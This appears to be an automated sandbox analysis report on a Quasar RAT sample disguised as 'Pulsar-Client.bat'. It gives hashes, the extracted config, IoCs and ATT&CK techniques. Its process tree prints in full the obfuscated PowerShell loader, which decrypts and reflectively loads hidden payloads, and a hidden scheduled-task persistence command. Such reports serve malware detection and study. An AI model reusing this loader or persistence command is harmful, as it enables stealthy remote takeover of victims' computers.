quasar | 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
19/10/2025, 16:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
jfqca_Pulsar-Client.bat
Size 867KB
Sample251019-t16wqabl8v
SHA256 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6
MD5 f0e77390c4f252b0f558535bb81e21e9
SHA1 702452628ecaae717dfe273319dc8de15217f50f
SHA512 c6a4856f96ee79a25a84636ed9462f7c843351904c2a61887f3daef03000b3e498da798c3b09f40a396565336c6b1b534b4912e49efb8cb445d0d78c8f69dd79
SSDEEP 24576:XjnbkNZ+aIwWmW0cN8AEy/yL/EccSILwXoJ:X3wZRxW78zynJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
8FC8AEB39474756E1CA6DDD3F39D248A13B96C29
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/452-39-0x000001A5ED6F0000-0x000001A5ED876000-memory.dmp	family_quasar

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	452	powershell.exe
36	452	powershell.exe
40	452	powershell.exe
46	452	powershell.exe
50	452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
228	powershell.exe
452	powershell.exe
1412	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
452	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1412	powershell.exe
1412	powershell.exe
228	powershell.exe
228	powershell.exe
452	powershell.exe
452	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeIncreaseQuotaPrivilege	228	powershell.exe
Token: SeSecurityPrivilege	228	powershell.exe
Token: SeTakeOwnershipPrivilege	228	powershell.exe
Token: SeLoadDriverPrivilege	228	powershell.exe
Token: SeSystemProfilePrivilege	228	powershell.exe
Token: SeSystemtimePrivilege	228	powershell.exe
Token: SeProfSingleProcessPrivilege	228	powershell.exe
Token: SeIncBasePriorityPrivilege	228	powershell.exe
Token: SeCreatePagefilePrivilege	228	powershell.exe
Token: SeBackupPrivilege	228	powershell.exe
Token: SeRestorePrivilege	228	powershell.exe
Token: SeShutdownPrivilege	228	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeSystemEnvironmentPrivilege	228	powershell.exe
Token: SeRemoteShutdownPrivilege	228	powershell.exe
Token: SeUndockPrivilege	228	powershell.exe
Token: SeManageVolumePrivilege	228	powershell.exe
Token: 33	228	powershell.exe
Token: 34	228	powershell.exe
Token: 35	228	powershell.exe
Token: 36	228	powershell.exe
Token: SeIncreaseQuotaPrivilege	228	powershell.exe
Token: SeSecurityPrivilege	228	powershell.exe
Token: SeTakeOwnershipPrivilege	228	powershell.exe
Token: SeLoadDriverPrivilege	228	powershell.exe
Token: SeSystemProfilePrivilege	228	powershell.exe
Token: SeSystemtimePrivilege	228	powershell.exe
Token: SeProfSingleProcessPrivilege	228	powershell.exe
Token: SeIncBasePriorityPrivilege	228	powershell.exe
Token: SeCreatePagefilePrivilege	228	powershell.exe
Token: SeBackupPrivilege	228	powershell.exe
Token: SeRestorePrivilege	228	powershell.exe
Token: SeShutdownPrivilege	228	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeSystemEnvironmentPrivilege	228	powershell.exe
Token: SeRemoteShutdownPrivilege	228	powershell.exe
Token: SeUndockPrivilege	228	powershell.exe
Token: SeManageVolumePrivilege	228	powershell.exe
Token: 33	228	powershell.exe
Token: 34	228	powershell.exe
Token: 35	228	powershell.exe
Token: 36	228	powershell.exe
Token: SeIncreaseQuotaPrivilege	228	powershell.exe
Token: SeSecurityPrivilege	228	powershell.exe
Token: SeTakeOwnershipPrivilege	228	powershell.exe
Token: SeLoadDriverPrivilege	228	powershell.exe
Token: SeSystemProfilePrivilege	228	powershell.exe
Token: SeSystemtimePrivilege	228	powershell.exe
Token: SeProfSingleProcessPrivilege	228	powershell.exe
Token: SeIncBasePriorityPrivilege	228	powershell.exe
Token: SeCreatePagefilePrivilege	228	powershell.exe
Token: SeBackupPrivilege	228	powershell.exe
Token: SeRestorePrivilege	228	powershell.exe
Token: SeShutdownPrivilege	228	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeSystemEnvironmentPrivilege	228	powershell.exe
Token: SeRemoteShutdownPrivilege	228	powershell.exe
Token: SeUndockPrivilege	228	powershell.exe
Token: SeManageVolumePrivilege	228	powershell.exe
Token: 33	228	powershell.exe
Token: 34	228	powershell.exe
Token: 35	228	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 1412	2292	cmd.exe	84
PID 2292 wrote to memory of 1412	2292	cmd.exe	84
PID 1412 wrote to memory of 228	1412	powershell.exe	86
PID 1412 wrote to memory of 228	1412	powershell.exe	86
PID 1412 wrote to memory of 3168	1412	powershell.exe	88
PID 1412 wrote to memory of 3168	1412	powershell.exe	88
PID 3168 wrote to memory of 3660	3168	WScript.exe	89
PID 3168 wrote to memory of 3660	3168	WScript.exe	89
PID 3660 wrote to memory of 452	3660	cmd.exe	91
PID 3660 wrote to memory of 452	3660	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jfqca_Pulsar-Client.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4ROHjGMRq4q6ZG62Vzpl+4IMCB7e9TIqz8mNf1Af48k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fOrXOQyw2sl3g91+9EpM+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $toIgN=New-Object System.IO.MemoryStream(,$param_var); $JFFmH=New-Object System.IO.MemoryStream; $mvxaH=New-Object System.IO.Compression.GZipStream($toIgN, [IO.Compression.CompressionMode]::Decompress); $mvxaH.CopyTo($JFFmH); $mvxaH.Dispose(); $toIgN.Dispose(); $JFFmH.Dispose(); $JFFmH.ToArray();}function execute_function($param_var,$param2_var){ $gwsJT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZUhGK=$gwsJT.EntryPoint; $ZUhGK.Invoke($null, $param2_var);}$ayuKa = 'C:\Users\Admin\AppData\Local\Temp\jfqca_Pulsar-Client.bat';$host.UI.RawUI.WindowTitle = $ayuKa;$Uqovr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ayuKa).Split([Environment]::NewLine);foreach ($HIaLw in $Uqovr) { if ($HIaLw.StartsWith(':: ')) { $GesnP=$HIaLw.Substring(3); break; }}$payloads_var=[string[]]$GesnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_609_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_609.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:228
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_609.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3168
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_609.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4ROHjGMRq4q6ZG62Vzpl+4IMCB7e9TIqz8mNf1Af48k='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('fOrXOQyw2sl3g91+9EpM+w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $toIgN=New-Object System.IO.MemoryStream(,$param_var); $JFFmH=New-Object System.IO.MemoryStream; $mvxaH=New-Object System.IO.Compression.GZipStream($toIgN, [IO.Compression.CompressionMode]::Decompress); $mvxaH.CopyTo($JFFmH); $mvxaH.Dispose(); $toIgN.Dispose(); $JFFmH.Dispose(); $JFFmH.ToArray();}function execute_function($param_var,$param2_var){ $gwsJT=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZUhGK=$gwsJT.EntryPoint; $ZUhGK.Invoke($null, $param2_var);}$ayuKa = 'C:\Users\Admin\AppData\Roaming\startup_str_609.bat';$host.UI.RawUI.WindowTitle = $ayuKa;$Uqovr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ayuKa).Split([Environment]::NewLine);foreach ($HIaLw in $Uqovr) { if ($HIaLw.StartsWith(':: ')) { $GesnP=$HIaLw.Substring(3); break; }}$payloads_var=[string[]]$GesnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        
        PID:452

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c2d9338293c9d806e782bede2c455f0799ba311bd5562e1a683062574e915dc5
MD5 e237082dc8654c1b4409680af96cfd65
SHA1 541c1cfce65d72bb2ea9d2e9078b1ff1fb4a4131
SHA512 fe0121388a46db179371d911383b2133f9976065ac862d8b2a26059cc5330169d72489057eda99e4858097041dea30d7cb93f8db2dd3b51547161f7bc2e4bb71
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_tmq1xnwb.3v0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tmq1xnwb.3v0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

startup_str_609.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_609.bat
Size 867KB
SHA256 45ef6e4f80f8619585cb239d12cc89dddff3cc158600fdf33fc4834b1f8b49a6
MD5 f0e77390c4f252b0f558535bb81e21e9
SHA1 702452628ecaae717dfe273319dc8de15217f50f
SHA512 c6a4856f96ee79a25a84636ed9462f7c843351904c2a61887f3daef03000b3e498da798c3b09f40a396565336c6b1b534b4912e49efb8cb445d0d78c8f69dd79
SSDEEP 24576:XjnbkNZ+aIwWmW0cN8AEy/yL/EccSILwXoJ:X3wZRxW78zynJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_609.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_609.vbs
Size 115B
SHA256 a0d717b8c91daefd47f150b02067623d76a58afe731d559eea26787376d696b2
MD5 c8e10ecb13a214e27f31866da01caadb
SHA1 67a409de14c52cf9a01ea07ff1331d3f133e3e73
SHA512 9b456034a2309ddeb40da6546656c00b89c6416347222be16fa9d27f4f24c541e3ef2274ca3c99210821154efc00d5a316060e4e9e01be86c1b8ed68ef628607
MD5 SHA1 SHA512

Submit Download

memory/228-13-0x0000016CFD2A0000-0x0000016CFD2B0000-memory.dmp

Download

memory/452-39-0x000001A5ED6F0000-0x000001A5ED876000-memory.dmp

Download

memory/452-40-0x000001A5ED880000-0x000001A5ED8B0000-memory.dmp

Download

memory/452-41-0x000001A5EDC50000-0x000001A5EDC88000-memory.dmp

Download

memory/1412-11-0x000001AA200B0000-0x000001AA20154000-memory.dmp

Download

memory/1412-10-0x000001AA1DC90000-0x000001AA1DC98000-memory.dmp

Download

memory/1412-2-0x000001AA05A20000-0x000001AA05A42000-memory.dmp

Download

memory/1412-1-0x000001AA1DCC0000-0x000001AA1DCD0000-memory.dmp

Download

memory/1412-0-0x000001AA1DCC0000-0x000001AA1DCD0000-memory.dmp

Download